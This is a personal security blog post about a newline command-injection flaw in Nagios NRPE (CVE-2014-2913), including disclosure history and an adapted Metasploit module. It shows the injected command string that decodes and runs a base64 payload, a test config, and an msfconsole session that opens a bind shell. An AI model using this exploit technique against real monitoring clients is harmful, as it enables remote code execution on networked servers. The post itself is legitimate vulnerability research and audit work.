martin carpenter

contents

most popular
2012/05/05, updated 2012/12/15
ubuntu unity lens for vim
2010/04/14
ckwtmpx

metasploiting nrpe

2014/10/22

tags: Nagios NRPE vulnerability metasploit CVE-2014-2913

weird smells

I rather like this comment from Colin Percival (one time FreeBSD security officer):

The people finding said bugs didn't necessarily know enough to be able to exploit the bugs, or even enough to be certain that there was a bug; but there were a lot of "this code looks weird" reports turning out to expose vulnerabilities.

Sometimes you don't even need to see weird, you can just smell it...

So it was helping a sysadmin colleague debug weird behavior with the Nagios Remote Plugin Executor. This allows the Nagios monitoring server to execute a restricted set of commands on clients. The argument to check_disks.pl's -r (regular expression) parameter was apparently getting mangled. After some poking it seemed the client was dropping shell metacharacters. With little understanding we rewrote the regex to avoid those characters. And all was good.

But why? Why? Why would it quietly do that?

... if the author was concerned about injection attacks... and was... passing the received command to popen(3) or system(3)...

nrpe-2.15/src/nrpe.c:

        /* run the command */
        fp=popen(command,"r");

Hmm. A little hunting found CVE-2013-1362 and:

#define NASTY_METACHARS         "|`&><'"\[]{};"

We can see this still doesn't include newline characters: these too can be used to separate shell commands. So the server can send an argument with newlines in it and the client will dutifully execute those arguments.

WONTFIX

I reported this to the Nagios team, and they defended it as expected behavior.

On the other hand ENABLE_COMMAND_ARGUMENTS is generally defined, current behavior silently breaks passing arguments with any character in the NASTY_METACHARS list , the quoting aspect is not documented (the examples don't use it), and if my monitoring server gets popped I really don't want it to be able to run arbitrary commands on any other machine on the network. The Nagios team agreed to improve the examples. Whilst I'd rather this "feature" be bleached from the code entirely I can live with it in light of the last point regarding argument quoting.

Shortly after this, in one of those weird coincidences that can only make a paranoid man more paranoid, Dawid Golunski posted the same finding to the Full Disclosure list.

And that brings us to auditing: how can I see which of my servers have this (now public) misconfiguration?

(Over the summer I see Dawid and Claudio Viviani released a comprehensive python exploit).

Metasploiting

I looked back at Rudolph Pereira's report for CVE-2013-1362. He'd handily written a metasploit module and I adapted it: the only real additional trick was in passing suitable shell-shoveling arguments to NRPE that didn't contain any of the NASTY_METACHARS. I passed the nasty stuff base-64 encoded along with a handful of simple, non-metacharacter-containing shell commands to unpack and execute it:

    command << "!
rm -f #{b64_payload_path} #{payload_path}
dd if=/dev/zero of=#{b64_payload_path} count=1 bs=1
perl -pie s/./#{stage}/ #{b64_payload_path}
PATH=/usr/bin:/usr/local/ssl/bin:/usr/sfw/bin openssl base64 -d -A -in #{b64_payload_path} -out #{payload_path}
chmod +x #{payload_path}
eval #{payload_path}
"

Since redirection (>) is off-limits dd(1) and perl(1) substitution are used to write to a file.

Here's a suitable nrpe.cfg for testing, with an unquoted $ARG1$:

    dont_blame_nrpe=1
    command[check_procs]=/opt/CTCOnagios/libexec/check_procs $ARG1$

Then copy nagios_nrpe_nl.rb into metasploit-framework/modules/exploits/linux/misc and run msfconsole:

msf > setg VERBOSE true
VERBOSE => true
msf > set PAYLOAD cmd/unix/bind_perl 
PAYLOAD => cmd/unix/bind_perl
msf > set RHOST host.example.com 
RHOST => host.example.com
msf > use exploit/linux/misc/nagios_nrpe_nl 
msf exploit(nagios_nrpe_nl) > set NRPECMD
NRPECMD => check_procs
msf exploit(nagios_nrpe_nl) > check

[*] Checking if remote NRPE supports command line arguments
[*] NRPE: Command '__fake_check
12345' not defined
[+] host.example.com:5666 - The target is vulnerable.
msf exploit(nagios_nrpe_nl) > exploit

[*] Started bind handler
[*] Checking if remote NRPE supports command line arguments
[*] NRPE: Command '__fake_check
12345' not defined
[*] Sending request...
[*] Command shell session 1 opened (10.0.0.1:45174 -> 10.0.0.2:4444) at 2014-03-13 22:36:35 +0100

id
uid=667(nagios) gid=667(nagios)
pwd
/home/nagios
^C
Abort session 1? [y/N]  y

[*] 10.0.0.2 - Command shell session 1 closed.  Reason: User exit
msf exploit(nagios_nrpe_nl) > 

If you got this far you might also be interested to know that Puppet also contains a similar shell character blacklist idiom:

puppet-3.6.2/lib/puppet/parser/functions/shellquote.rb:

  safe = 'a-zA-Z0-9@%_+=:,./-'    # Safe unquoted
  dangerous = '!"`$\\'            # Unsafe inside double quotes

Let me know if you break it?

timeline